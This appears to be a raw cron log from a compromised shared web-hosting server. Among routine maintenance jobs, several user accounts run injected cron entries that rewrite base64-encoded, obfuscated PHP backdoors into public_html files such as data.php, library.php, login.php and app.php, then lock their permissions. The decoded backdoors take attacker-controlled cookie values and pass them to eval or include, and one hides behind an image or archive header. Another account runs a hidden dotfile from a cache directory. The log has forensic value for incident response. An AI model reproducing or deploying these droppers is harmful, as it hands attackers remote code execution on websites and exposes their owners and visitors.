Mar  1 13:19:01 medusa CROND[30751]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:19:01 medusa CROND[30752]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 13:19:01 medusa CROND[30753]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 13:19:01 medusa CROND[30754]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 13:19:01 medusa CROND[30755]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:19:01 medusa CROND[30756]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 13:19:01 medusa CROND[30757]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 13:19:01 medusa CROND[30771]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 13:19:01 medusa CROND[30772]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:19:01 medusa CROND[30773]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:20:01 medusa CROND[23157]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 13:20:01 medusa CROND[23234]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 13:20:01 medusa CROND[23348]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 13:20:01 medusa CROND[23349]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 13:20:01 medusa CROND[23350]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 13:20:01 medusa CROND[23352]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 13:20:01 medusa CROND[23353]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 13:20:01 medusa CROND[23354]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 13:20:01 medusa CROND[23355]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 13:20:01 medusa CROND[23356]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 13:20:01 medusa CROND[23364]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:20:01 medusa CROND[23358]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 13:20:01 medusa CROND[23357]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 13:20:01 medusa CROND[23368]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 13:20:01 medusa CROND[23370]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 13:20:01 medusa CROND[23366]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 13:20:01 medusa CROND[23372]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 13:20:01 medusa CROND[23373]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:20:01 medusa CROND[23374]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 13:20:01 medusa CROND[23371]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_ruby.cronlock /usr/share/l.v.e-manager/utils/cache_rubygems.py)
Mar  1 13:20:01 medusa CROND[23376]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 13:20:01 medusa CROND[23380]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 13:20:01 medusa CROND[23386]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:20:01 medusa CROND[23390]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 13:20:01 medusa CROND[23389]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 13:20:01 medusa CROND[23394]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:20:01 medusa CROND[23392]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 13:20:01 medusa CROND[23405]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 13:20:01 medusa CROND[23378]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 13:20:01 medusa CROND[23388]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 13:20:01 medusa CROND[23404]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 13:21:02 medusa CROND[16037]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 13:21:02 medusa CROND[16116]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 13:21:02 medusa CROND[16162]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
